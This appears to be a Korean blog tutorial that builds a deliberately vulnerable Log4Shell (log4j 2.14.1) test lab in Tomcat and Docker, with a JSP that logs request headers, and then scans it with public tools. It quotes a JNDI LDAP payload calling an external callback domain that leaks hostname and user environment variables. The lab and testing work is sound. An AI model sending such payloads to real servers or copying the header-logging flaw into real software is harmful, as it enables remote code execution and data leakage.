개요
- 2022년 1월 화제가 되었던 Log4shell 취약점을 다시 한번 정리해둔다.
- 취약한 환경을 만들고 테스트하는 부분까지 진행한다.
- 취약한 환경은 재사용을 쉽게하기 위해 도커 이미지로 만들어 둔다.
취약한 환경
개요
- 톰캣 + JSP 환경에서 테스트한다. 톰캣은 8.5.42버전을 사용했다.
- log4j는 2.14.1 버전을 사용했다.
구축 순서
취약한 라이브러리와 설정파일, 취약한 라이브러리를 사용하는 어플리케이션 코드가 필요하다.
취약한 log4j 라이브러리 설치
log4j-core-2.14.1.jar
,log4j-api-2.14.1.jar
를 다운로드 한다./root/apache-tomcat-8.5.42/webapps/ROOT/WEB-INF/lib
밑에 복사한다.
log4j 라이브러리 설정파일(log4j2.properties) 만들기
다음 경로에 log4j2.properties
파일을 생성한다.
/root/apache-tomcat-8.5.42/webapps/ROOT/WEB-INF/classes/
log4j2.properties
의 내용은 다음과 같다.
status = warn
appender.console.type = Console
appender.console.name = LogToConsole
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = [%-5level] %d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %c{1} - %msg%n
#appender.file.type = File
#appender.file.name = LogToFile
#appender.file.fileName=logs/app.log
#appender.file.layout.type=PatternLayout
#appender.file.layout.pattern=[%-5level] %d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %c{1} - %msg%n
# Rotate log file
appender.rolling.type = RollingFile
appender.rolling.name = LogToRollingFile
appender.rolling.fileName = logs/app.log
appender.rolling.filePattern = logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz
appender.rolling.layout.type = PatternLayout
appender.rolling.layout.pattern = %d %p %C{1.} [%t] %m%n
appender.rolling.policies.type = Policies
appender.rolling.policies.time.type = TimeBasedTriggeringPolicy
appender.rolling.policies.size.type = SizeBasedTriggeringPolicy
appender.rolling.policies.size.size=10MB
appender.rolling.strategy.type = DefaultRolloverStrategy
appender.rolling.strategy.max = 10
# Log to console and rolling file
logger.app.name = com.jwmoon
logger.app.level = debug
logger.app.additivity = false
logger.app.appenderRef.rolling.ref = LogToRollingFile
logger.app.appenderRef.console.ref = LogToConsole
rootLogger.level = info
rootLogger.appenderRef.stdout.ref = LogToConsole
Log4j2를 사용하는 어플리케이션 코드 (index.jsp)
- index.jsp 를 다음 내용으로 생성한다.
- log4j2 라이브러리 기능을 이용해
user-agent
나referer
헤더를 출력하고 있다. - 만약 이 헤더에 Log4shell 페이로드가 보내지면 서버는 페이로드에 포함된 커맨드를 실행할 것이다.
- index.jsp를 톰캣의 웹 루트 경로
/root/apache-tomcat-8.5.42/webapps/ROOT/
에 복사한다.
<%@ page import="org.apache.logging.log4j.LogManager" %>
<%@ page import="org.apache.logging.log4j.Logger" %>
<%
Logger log = LogManager.getLogger("[Index Logger]");
log.info("========== [Index Logger]====================");
log.info("UserAgent: " + request.getHeader("user-agent"));
log.info("Referer: " + request.getHeader("referer"));
log.info("Remote IP: " + request.getRemoteAddr());
%>
<html>
<body>
Log4sell Index Page.
</body>
</html>
도커이미지 작성
Dockerfile
# FROM tomcat:8.5.42-jdk8-openjdk # 이 버전은 log4shell hofix가 들어가 있어서 검출이 안된다. (https://github.com/corretto/hotpatch-for-apache-log4j2/blob/main/README.md)
FROM tomcat:7.0.57-jre8
RUN mkdir webapps/ROOT/WEB-INF/lib
RUN mkdir webapps/ROOT/WEB-INF/classes
COPY ./index.jsp webapps/ROOT/index.jsp
COPY ./log4j2.properties webapps/ROOT/WEB-INF/classes/log4j2.properties
COPY ./log4j-api-2.14.1.jar webapps/ROOT/WEB-INF/lib/log4j-api-2.14.1.jar
COPY ./log4j-core-2.14.1.jar webapps/ROOT/WEB-INF/lib/log4j-core-2.14.1.jar
이미지 빌드
docker build -t log4shell .
(옵션)이미지 태깅 및 Dockerhub 푸시
docker login
docker tag log4shell jwmoon/log4shell:latest
docker push jwmoon/log4shell:latest
컨테이너 구동
- 호스트 포트번호는 적절히 바꾼다.
docker run -d --rm -p 8080:8080 jwmoon/log4shell
- 구동후에 웹 브라우저등으로 접속해 본다.
- 웹 브라우저 접속후에 다음 명령어로 로그가 잘 출력되는지 확인해본다.
docker logs {컨테이너ID}
취약점 검증
다양한 스캐너가 있다. Burp Suite 의 확장 프로그램으로 설치하는 버전도 있고 파이썬 스크립트도 있다. 여기에서는 파이썬 스크립트로 시도해보겠다.
파이썬 스크립트 스캐너
- https://github.com/fullhunt/log4j-scan 에서 구한다.
- 파이썬 스크립트이므로 간단하게 스캔 돌리기에 좋다.
- 실행에는 python3이 필요하다.
- 검출에 DNS callback을 사용한다.
설치 & 사용법
pip install -r requirements.txt
python log4j-scan.py -h
Burp 스캐너1 (log4shell-scanner)
- Burp Suite Professional에서 사용가능하다. Log4shell 전용 액티브 스캔을 할 수 있다.
- 작년(2022년)까지는 BAppStore에 있었던 것 같은데 지금은 사라졌다. 아래 링크에서 구할 수 있다.
- https://github.com/PortSwigger/log4shell-scanner
- https://github.com/silentsignal/burp-log4shell/releases 에서 빌드된 버전을 다운로드 받을 수 있다.
- 취약점 검출을 위해 DNS callback(Burp Collaborator 서버)을 사용한다.
${jndi:ldap://u${hostName}-s2u-${env:USERNAME:-${env:USER}}.t5z5a6ccun4tcye4hrl0w0v1csijm7b.oastify.com/s2test}
와 같은 페이로드가 보내진다.
Burp 스캐너2 (log4shell-everywhere)
- Burp Suite Professional에서 사용가능하다.
- 현재 BAppStore에서 log4shell을 검색하면 나오는 스캐너이다.
- 취약점 검출을 위해 DNS callback(Burp Collaborator 서버)을 사용한다.
- https://github.com/PortSwigger/log4shell-everywhere